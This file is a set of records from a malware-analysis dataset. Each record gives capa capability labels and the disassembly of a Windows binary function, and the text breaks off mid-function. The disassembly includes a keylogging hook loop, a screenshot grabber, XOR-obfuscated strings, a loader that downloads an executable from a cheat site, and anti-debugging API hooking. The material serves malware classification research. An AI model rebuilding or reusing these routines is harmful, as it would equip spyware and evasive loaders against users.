joyce8/EMBER2024-capa huggingface dataset:
Function at 0x259e6d700
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea rax, [0x259f151a0]
mov rcx, rax
call fcn.259e6948c
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
cmp eax, 0xbab1f0ed
jne 0x259e6d73c
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax + 4]
test eax, eax
jg 0x259e6d77c
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
mov dword [rsp + 0x20], 0x28
lea r9, str..._.._.._mingw_w64_libraries_winpthreads_src_rwlock.c
lea r8, str.___rwlock_t__rwl___valid__LIFE_RWLOCK______rwlock_t__rwl___busy___0_
lea rax, str.Assertion_failed:___s___file__s__line__d_n
mov rdx, rax
call fcn.259e67000
mov ecx, 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov edx, dword [rax + 4]
sub edx, 1
mov dword [rax + 4], edx
lea rax, [0x259f151a0]
mov rcx, rax
call fcn.259e6950b
mov eax, dword [rbp + 0x18]
add rsp, 0x30
pop rbp
ret

Function at 0x259e72ca0
Capabilities:
Log keystrokes via application hook

Disassembly:
push rdi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x259e75e10]
push rsi
mov ecx, 0xd
push rbx
sub rsp, 0x50
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rdi, qword [sym.imp.USER32.dll_GetMessageA]
mov rbx, rax
lea rsi, [rsp + 0x20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call rdi
test eax, eax
jle 0x259e72cf3
mov rcx, rsi
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rsi
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x259e72cc9
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x259e731f0
Capabilities:
Capture screenshot

Disassembly:
push r15
xor r9d, r9d
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x80], r9
lea rbp, [rsp + 0x78]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x98], rbx
cmp rbx, 7
jbe 0x259e7325d
lea rdx, [rsp + 0x98]
xor r8d, r8d
mov rcx, rbp
call fcn.259f013b0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x78]
xor eax, eax
cmp rbx, rax
je 0x259e73277
movsx cx, byte [rsi + rax]
mov word [rdx + rax*2], cx
inc rax
jmp 0x259e73264
mov rdx, qword [rsp + 0x98]
mov rcx, rbp
call fcn.259eff3a0
xor ecx, ecx
mov edx, 1
call qword [sym.imp.USER32.dll_MonitorFromPoint]
mov rcx, rax
test rax, rax
je 0x259e733f4
mov dword [rsp + 0x98], 0x48
lea rdx, [rsp + 0x98]
call qword [sym.imp.USER32.dll_GetMonitorInfoA]
test eax, eax
jne 0x259e732ce
mov rcx, qword [0x259f17030]
call sub.gdiplus.dll_GdiplusShutdown
jmp 0x259e733f4
xor ecx, ecx
mov r12d, dword [rsp + 0xa4]
mov r14d, dword [rsp + 0xa8]
sub r12d, dword [rsp + 0x9c]
sub r14d, dword [rsp + 0xa0]
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, r14d
mov edx, r12d
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, rsi
mov r15, qword [sym.imp.GDI32.dll_SelectObject]
mov rdi, rax
mov rdx, rax
call r15
mov r9d, r12d
xor r8d, r8d
xor edx, edx
mov r13, rax
xor eax, eax
lea r12, [rsp + 0x50]
mov rcx, rsi
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.GDI32.dll_BitBlt]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x68], rdx
lea rax, fcn.259e77b80
xor edx, edx
mov dword [rsp + 0x70], ecx
mov rcx, rdi
mov qword [rsp + 0x50], r8
mov r8, r12
mov qword [rsp + 0x60], rax
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov rdx, r12
lea rcx, str.image_jpeg
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
call fcn.259e73140
mov rdx, qword [rsp + 0x78]
xor r9d, r9d
mov r8, r12
mov rcx, qword [rsp + 0x68]
call sub.gdiplus.dll_GdipSaveImageToFile
test eax, eax
je 0x259e733c4
mov dword [rsp + 0x70], eax
mov rdx, r13
mov rcx, rsi
call r15
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.USER32.dll_ReleaseDC]
lea rcx, [rsp + 0x60]
call fcn.259e77b80
mov rcx, rbp
call fcn.259efec50
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x259e73410
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
push r13
push r12
push rdi
push rsi
push rbx
lea rbx, [0x259f152c0]
and rsp, 0xfffffffffffffff0
sub rsp, 0xc0
lea rsi, [rsp + 0x80]
lea rdi, [rsp + 0x40]
mov rcx, rsi
lea r12, [rsp + 0x60]
lea r13, [rsp + 0xa0]
call sym.blitznet.dll_get_exe_name_abi:cxx11___
lea rdx, [0x259f180eb]
mov rcx, rdi
call fcn.259efe6b0
lea rcx, [rsp + 0x30]
movabs rax, 0x349b3d6075534ab7
movabs rdx, 0x349b3d60251e0fe3
mov qword [rsp + 0x30], rax
movabs rax, 0x4088a5c52e26d560
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rax
vmovdqa xmm1, xmmword [rsp + 0x20]
vpxor xmm0, xmm1, xmmword [rsp + 0x30]
vmovdqa xmmword [rsp + 0x30], xmm0
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov r8, rdi
mov rcx, r12
mov rdx, rax
call fcn.259f0e4f0
mov r8, rsi
mov rdx, r12
mov rcx, r13
call fcn.259f0e480
mov rdx, r13
mov rcx, rbx
call fcn.259efe820
mov rcx, r13
call fcn.259efa9f0
mov rcx, r12
call fcn.259efa9f0
mov rcx, rdi
call fcn.259efa9f0
mov rcx, rsi
call fcn.259efa9f0
or r8, 0xffffffffffffffff
lea rdx, [0x259f180ed]
mov rcx, rbx
call fcn.259e85880
cmp rax, 0xffffffffffffffff
je 0x259e7355d
mov r9, qword [0x259f152c8]
lea r8, [rax + 1]
cmp r9, r8
jae 0x259e7352f
lea rdx, [0x259f180ef]
lea rcx, [0x259f18103]
call fcn.259f0bd60
mov rdx, qword [0x259f152c0]
mov qword [0x259f152c8], r8
mov rcx, rbx
mov byte [rdx + rax + 1], 0
lea rsp, [rbp - 0x28]
lea rdx, [0x259f1813a]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
jmp fcn.259efbf20
lea rsp, [rbp - 0x28]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret
Function at 0x259e74640
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push r13
mov eax, 0x13d8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.259e5c3d0
sub rsp, rax
mov rsi, rcx
mov ebp, edx
lea rax, [rsp + 0x30]
lea rbx, [rsp + 0xa08]
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
mov rcx, rbx
xor eax, eax
lea rdi, [rsp + 0x40]
lea rdx, [0x259f18646]
mov qword [rsp + 0x28], rax
call fcn.259efe6b0
mov rdx, rbx
mov rcx, rdi
call fcn.259ee9c20
mov rcx, rbx
call fcn.259efa9f0
mov rcx, rdi
call fcn.259ee9e20
mov edx, 1
mov dword [rsp + 0xa08], eax
mov eax, dword [rbx + rdx*4 - 4]
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, edx
mov dword [rbx + rdx*4], eax
inc rdx
cmp rdx, 0x270
jne 0x259e746b3
mov qword [rsp + 0x13c8], 0x270
xor r12d, r12d
lea r13, [rsp + 0x20]
cmp r12d, ebp
jge 0x259e7472e
mov rcx, rbx
call fcn.259ef6300
mov edx, eax
imul rdx, rdx, 0x1a
mov eax, edx
cmp edx, 0x19
ja 0x259e7471a
cmp eax, 0x15
ja 0x259e7471a
mov rcx, rbx
call fcn.259ef6300
mov edx, eax
imul rdx, rdx, 0x1a
mov eax, edx
jmp 0x259e74703
shr rdx, 0x20
mov rcx, r13
inc r12d
add edx, 0x61
call fcn.259efd750
jmp 0x259e746e9
lea rbx, [rsp + 0x20]
lea rdx, str.____
mov rcx, rsi
mov r8, rbx
call fcn.259f0e520
mov rcx, rdi
call fcn.259ee9ba0
mov rcx, rbx
call fcn.259efa9f0
add rsp, 0x13d8
mov rax, rsi
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x259e74b20
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rdi
push rbx
mov rbx, rcx
sub rsp, 0xd8
mov rcx, qword [0x259f17030]
call sub.gdiplus.dll_GdiplusShutdown
lea rdx, [rsp + 0x68]
xor eax, eax
xor r9d, r9d
lea r8, [rsp + 0x50]
mov rdi, rdx
mov ecx, 0x1a
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
xor eax, eax
mov qword [rsp + 0x40], rdx
xor edx, edx
mov qword [rsp + 0x48], r8
xor r8d, r8d
mov dword [rsp + 0x20], edx
mov rdx, rbx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
mov rcx, qword [0x259f17050]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x259ed7320
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.api_ms_win_crt_stdio_l1_1_0.dll__fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x259ed7368
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x259ed733a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x259ee9e20
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x259ee9e48
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
test eax, eax
jle 0x259ee9e90
cdqe
add rsi, rax
sub rbx, rax
jne 0x259ee9e60
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x259ee9e9c
call rbp
cmp dword [rax], 4
je 0x259ee9e60
lea rcx, str.random_device_could_not_be_read
call fcn.259f13170
nop
nop
nop
nop
nop
nop
nop
nop
mov rax, qword [0x259f1e2a0]
add rax, 0x10
mov qword [rcx], rax
mov rax, qword [rdx + 8]
mov qword [rcx + 8], rax
mov eax, dword [rax - 8]
test eax, eax
mov rax, qword [rcx + 8]
jg 0x259ee9ee0
mov dword [rax - 8], 1
ret
lock add dword [rax - 8], 1
ret

Function at 0x259ef6300
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x28
mov r9, rcx
cmp qword [rcx + 0x9c0], 0x26f
jbe 0x259ef6319
call fcn.259ef6230
mov rax, qword [r9 + 0x9c0]
lea rdx, [rax + 1]
mov eax, dword [r9 + rax*4]
mov qword [r9 + 0x9c0], rdx
add rsp, 0x28
mov edx, eax
shr edx, 0xb
xor edx, eax
mov eax, edx
shl eax, 7
and eax, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret

Function at 0x259f096f0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rdx
mov rax, rcx
mov r10, rdx
and r11, 0xfffffffffffffff8
add r11, rcx
movabs rcx, 0xc6a4a7935bd1e995
imul r10, rcx
xor r10, r8
cmp rax, r11
je 0x259f09748
nop word cs:[rax + rax]
mov r9, qword [rax]
add rax, 8
imul r9, rcx
mov r8, r9
shr r8, 0x2f
xor r8, r9
imul r8, rcx
xor r8, r10
mov r10, r8
imul r10, rcx
cmp r11, rax
jne 0x259f09720
and edx, 7
je 0x259f0977d
sub edx, 1
movsxd rax, edx
xor edx, edx
nop dword [rax]
movzx ecx, byte [r11 + rax]
shl rdx, 8
sub rax, 1
add rdx, rcx
test eax, eax
jns 0x259f09758
xor rdx, r10
movabs r10, 0xc6a4a7935bd1e995
imul r10, rdx
movabs rax, 0xc6a4a7935bd1e995
mov rdx, r10
shr rdx, 0x2f
xor rdx, r10
imul rdx, rax
mov rax, rdx
shr rax, 0x2f
xor rax, rdx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004450]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x1400043f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004440]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004390]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001770
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002130
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002148
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002150
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002160
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400021ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400021a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400021af
add rax, 0x28
cmp rax, r9
jne 0x140002190
xor eax, eax
ret

Function at 0x1400021b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002240
mov rdx, qword [0x1400043f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000222e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000222e
cmp word [rax + 0x18], 0x20b
jne 0x14000222e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002240
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002219
add rbx, 0x28
cmp rbx, rdi
je 0x140002240
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002210
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002250
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002270
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002278
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002270
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400022c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002270
add rax, 0x28
cmp rax, r9
jne 0x1400022b0
xor eax, eax
ret

Function at 0x1400022d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002330
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002338
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002330
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002380
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002377
test rcx, rcx
je 0x140002330
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002368
xor eax, eax
ret

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400023d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023f0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400023f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002444
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002450
add rdx, 0x28
cmp r9, rdx
jne 0x140002430
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002460
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002482
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002490
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002482
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002482
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002482
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x1400024e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400024f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400024d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002507
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002517
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400024ee
test ecx, ecx
jg 0x140002500
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x180001e50
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x450
mov rax, qword [0x18002e040]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor ebx, ebx
lea rcx, str.MyApp
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [rbx + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
jne 0x180001eb4
lea r9d, [rbx + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Internet_connection_error
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x180001fde
mov qword [rsp + 0x28], rbx
lea rdx, str.https:__abysscheats.net_loader.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x400100
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x180001f09
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Internet_connection_error
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x180001fde
lea rdx, [0x18002aab8]
mov qword [rsp + 0x460], rsi
lea rcx, [0x180030550]
call fcn.18000fcc0
mov rsi, rax
test rax, rax
jne 0x180001f5c
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Internet_connection_error
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x180001fd6
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180001fba
nop dword [rax]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180001fba
mov r8d, eax
lea rcx, [rsp + 0x40]
mov r9, rsi
mov edx, 1
call fcn.18001003c
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180001f80
mov rcx, rsi
call fcn.180010204
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov rsi, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180006a00
mov rbx, qword [rsp + 0x468]
add rsp, 0x450
pop rdi
ret
Function at 0x1800021e0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
call fcn.180004de0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.180005300
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.FindWindowA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030698], rax
test rax, rax
je 0x180002233
lea rdx, [0x180001360]
lea rcx, [0x180030698]
call fcn.1800045e0
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RegOpenKeyA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030690], rax
test rax, rax
je 0x18000226f
lea rdx, [0x180001400]
lea rcx, [0x180030690]
call fcn.1800045e0
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RegQueryValueExA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030688], rax
test rax, rax
je 0x1800022ab
lea rdx, [0x1800014a0]
lea rcx, [0x180030688]
call fcn.1800045e0
lea rcx, [0x18002ab30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030680], rax
test rax, rax
je 0x1800022e7
lea rdx, [0x180001540]
lea rcx, [0x180030680]
call fcn.1800045e0
lea rcx, [0x18002ab30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030678], rax
test rax, rax
je 0x180002323
lea rdx, [0x180001c40]
lea rcx, [0x180030678]
call fcn.1800045e0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CheckRemoteDebuggerPresent
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030670], rax
test rax, rax
je 0x18000235f
lea rdx, [0x180001600]
lea rcx, [0x180030670]
call fcn.1800045e0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x18002ab88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030668], rax
test rax, rax
je 0x18000239b
lea rdx, [sym.WINMM.dll_timeBeginPeriod]
lea rcx, [0x180030668]
call fcn.1800045e0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateFileA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030660], rax
test rax, rax
je 0x1800023d7
lea rdx, [0x180001620]
lea rcx, [0x180030660]
call fcn.1800045e0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x18002abb0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030658], rax
test rax, rax
je 0x180002413
lea rdx, [0x1800016b0]
lea rcx, [0x180030658]
